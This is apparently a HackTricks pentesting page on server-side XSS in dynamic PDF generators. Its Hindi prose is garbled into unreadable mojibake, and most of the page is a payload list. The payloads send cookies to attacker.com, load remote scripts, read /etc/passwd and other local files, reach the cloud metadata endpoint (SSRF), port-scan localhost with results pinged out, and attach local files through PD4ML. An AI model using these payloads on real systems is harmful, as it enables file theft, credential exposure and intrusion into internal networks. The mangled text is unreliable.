Server Side XSS (Dynamic PDF)

Support HackTricks

Server Side XSS (Dynamic PDF)

рдпрджрд┐ рдПрдХ рд╡реЗрдм рдкреГрд╖реНрда рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдЗрдирдкреБрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ PDF рдмрдирд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк PDF рдмрдирд╛рдиреЗ рд╡рд╛рд▓реЗ рдмреЙрдЯ рдХреЛ рдордирд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╡рд╣ рдордирдорд╛рдиреЗ JS рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗред рддреЛ, рдпрджрд┐ PDF рдирд┐рд░реНрдорд╛рддрд╛ рдмреЙрдЯ рдХреБрдЫ рдкреНрд░рдХрд╛рд░ рдХреЗ HTML рдЯреИрдЧ рдкрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдЙрдиреНрд╣реЗрдВ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХрд░реЗрдЧрд╛, рдФрд░ рдЖрдк рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ Server XSS рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддреЗ рд╣реИрдВред

рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ <script></script> рдЯреИрдЧ рд╣рдореЗрд╢рд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддреЗ, рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ JS рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрд▓рдЧ рд╡рд┐рдзрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, <img рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛)ред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдПрдХ рдирд┐рдпрдорд┐рдд рд╢реЛрд╖рдг рдореЗрдВ рдЖрдк рдмрдирд╛рдИ рдЧрдИ PDF рдХреЛ рджреЗрдЦ/рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗ, рдЗрд╕рд▓рд┐рдП рдЖрдк рдЬреЛ рдХреБрдЫ рднреА JS рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рд┐рдЦрддреЗ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП document.write() рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ) рдЙрд╕реЗ рджреЗрдЦ рд╕рдХреЗрдВрдЧреЗред рд▓реЗрдХрд┐рди, рдпрджрд┐ рдЖрдк рдмрдирд╛рдИ рдЧрдИ PDF рдХреЛ рдирд╣реАрдВ рджреЗрдЦ рд╕рдХрддреЗ, рддреЛ рдЖрдкрдХреЛ рд╢рд╛рдпрдж рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╡реЗрдм рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╣реЛрдЧрд╛ (Blind)ред

рд▓реЛрдХрдкреНрд░рд┐рдп PDF рдирд┐рд░реНрдорд╛рдг

  • wkhtmltopdf HTML рдФрд░ CSS рдХреЛ PDF рджрд╕реНрддрд╛рд╡реЗрдЬреЛрдВ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдкрдиреА рдХреНрд╖рдорддрд╛ рдХреЗ рд▓рд┐рдП рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ WebKit рд░реЗрдВрдбрд░рд┐рдВрдЧ рдЗрдВрдЬрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЙрдкрдХрд░рдг рдПрдХ рдУрдкрди-рд╕реЛрд░реНрд╕ рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╣реИ, рдЬреЛ рдЗрд╕реЗ рд╡рд┐рднрд┐рдиреНрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реБрд▓рдн рдмрдирд╛рддрд╛ рд╣реИред

  • TCPDF PDF рдирд┐рд░реНрдорд╛рдг рдХреЗ рд▓рд┐рдП PHP рдкрд╛рд░рд┐рд╕реНрдерд┐рддрд┐рдХреА рддрдВрддреНрд░ рдХреЗ рднреАрддрд░ рдПрдХ рдордЬрдмреВрдд рд╕рдорд╛рдзрд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЪрд┐рддреНрд░реЛрдВ, рдЧреНрд░рд╛рдлрд┐рдХреНрд╕ рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рдЬреЛ рдЬрдЯрд┐рд▓ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХреА рдмрд╣реБрдкрд░рдХрд╛рд░реАрддрд╛ рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИред

  • рдЬреЛ рд▓реЛрдЧ Node.js рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдХрд╛рдо рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЙрдирдХреЗ рд▓рд┐рдП PDFKit рдПрдХ рд╡реНрдпрд╡рд╣рд╛рд░реНрдп рд╡рд┐рдХрд▓реНрдк рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ HTML рдФрд░ CSS рд╕реЗ рд╕реАрдзреЗ PDF рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рд╡реЗрдм рд╕рд╛рдордЧреНрд░реА рдФрд░ рдкреНрд░рд┐рдВрдЯ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдкреНрд░рд╛рд░реВрдкреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ рдкреБрд▓ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

  • рдЬрд╛рд╡рд╛ рдбреЗрд╡рд▓рдкрд░реНрд╕ iText рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ, рдПрдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдЬреЛ рди рдХреЗрд╡рд▓ PDF рдирд┐рд░реНрдорд╛рдг рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИ рдмрд▓реНрдХрд┐ рдбрд┐рдЬрд┐рдЯрд▓ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдФрд░ рдлреЙрд░реНрдо рднрд░рдиреЗ рдЬреИрд╕реА рдЙрдиреНрдирдд рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХрд╛ рднреА рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреА рд╡реНрдпрд╛рдкрдХ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХрд╛ рд╕реЗрдЯ рдЗрд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдФрд░ рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдмрдирд╛рддрд╛ рд╣реИред

  • FPDF рдПрдХ рдФрд░ PHP рдкреБрд╕реНрддрдХрд╛рд▓рдп рд╣реИ, рдЬреЛ рдЕрдкрдиреА рд╕рд░рд▓рддрд╛ рдФрд░ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдЖрд╕рд╛рдиреА рдХреЗ рд▓рд┐рдП рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдЙрди рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ PDF рдирд┐рд░реНрдорд╛рдг рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реАрдзрд╛ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдмрд┐рдирд╛ рд╡рд┐рд╕реНрддреГрдд рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗред

Payloads

Discovery

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

рдЗрд╕ SVG рдкреЗрд▓реЛрдб рдХреЗ рдЕрдВрджрд░ рдкрд┐рдЫрд▓реЗ рдпрд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреЗрд▓реЛрдб рдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдПрдХ iframe рдЬреЛ Burpcollab рдЙрдкрдбреЛрдореЗрди рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИ рдФрд░ рджреВрд╕рд░рд╛ рдЬреЛ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдП рдЧрдП рд╣реИрдВред

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

рдЖрдк рдмрд╣реБрдд рд╕рд╛рд░реЗ рдЕрдиреНрдп SVG рдкреЗрд▓реЛрдб https://github.com/allanlw/svg-cheatsheet рдореЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдкрде рдкреНрд░рдХрдЯреАрдХрд░рдг

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Load an external script

рдЗрд╕ рдХрдордЬреЛрд░реА рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдЖрдк рдЗрд╕ рдХрдордЬреЛрд░реА рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдмреЙрдЯ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░реЗ рдЬрд┐рд╕реЗ рдЖрдк рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред рдлрд┐рд░, рдЖрдк рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдкреЗрд▓реЛрдб рдХреЛ рдмрджрд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗ рдФрд░ рдмреЙрдЯ рдХреЛ рд╣рд░ рдмрд╛рд░ рдЙрд╕реА рдХреЛрдб рдХреЗ рд╕рд╛рде рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХреЗрдВрдЧреЗред

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рдкрдврд╝реЗрдВ / SSRF

file:///etc/passwd рдХреЛ http://169.254.169.254/latest/user-data рдореЗрдВ рдмрджрд▓реЗрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдПрдХ рдмрд╛рд╣рд░реА рд╡реЗрдм рдкреГрд╖реНрда (SSRF) рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред

рдпрджрд┐ SSRF рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдк рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рдбреЛрдореЗрди рдпрд╛ IP рддрдХ рдирд╣реАрдВ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ, рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рд╕рдВрднрд╛рд╡рд┐рдд рдмрд╛рдИрдкрд╛рд╕ рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВред

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

рдмреЙрдЯ рджреЗрд░реА

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

рдкреЛрд░реНрдЯ рд╕реНрдХреИрди

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

рдпрд╣ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдмрд╣реБрдд рдЖрд╕рд╛рдиреА рд╕реЗ SSRF рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдмрд╛рд╣рд░реА рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ)ред рдЗрд╕рд▓рд┐рдП рдмрд╕ рдЗрд╕реЗ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ (рдХреБрдЫ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдкрдврд╝реЗрдВ?)ред

Attachments: PD4ML

рдХреБрдЫ HTML 2 PDF рдЗрдВрдЬрди рд╣реИрдВ рдЬреЛ PDF рдХреЗ рд▓рд┐рдП рдЕрдЯреИрдЪрдореЗрдВрдЯ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ PD4MLред рдЖрдк рдЗрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ PDF рдореЗрдВ рдХреЛрдИ рднреА рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рдЕрдЯреИрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдЯреИрдЪрдореЗрдВрдЯ рдЦреЛрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдореИрдВрдиреЗ Firefox рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓ рдЦреЛрд▓реА рдФрд░ рдкреЗрдкрд░рдХреНрд▓рд┐рдк рдкреНрд░рддреАрдХ рдкрд░ рдбрдмрд▓ рдХреНрд▓рд┐рдХ рдХрд┐рдпрд╛ рддрд╛рдХрд┐ рдЕрдЯреИрдЪрдореЗрдВрдЯ рдХреЛ рдПрдХ рдирдИ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдмрд░реНрдк рдХреЗ рд╕рд╛рде PDF рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ рд╕реЗ PDF рдХреЗ рдЕрдВрджрд░ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рдЕрдЯреИрдЪрдореЗрдВрдЯ рднреА рджрд┐рдЦрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

рд╕рдВрджрд░реНрдн

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated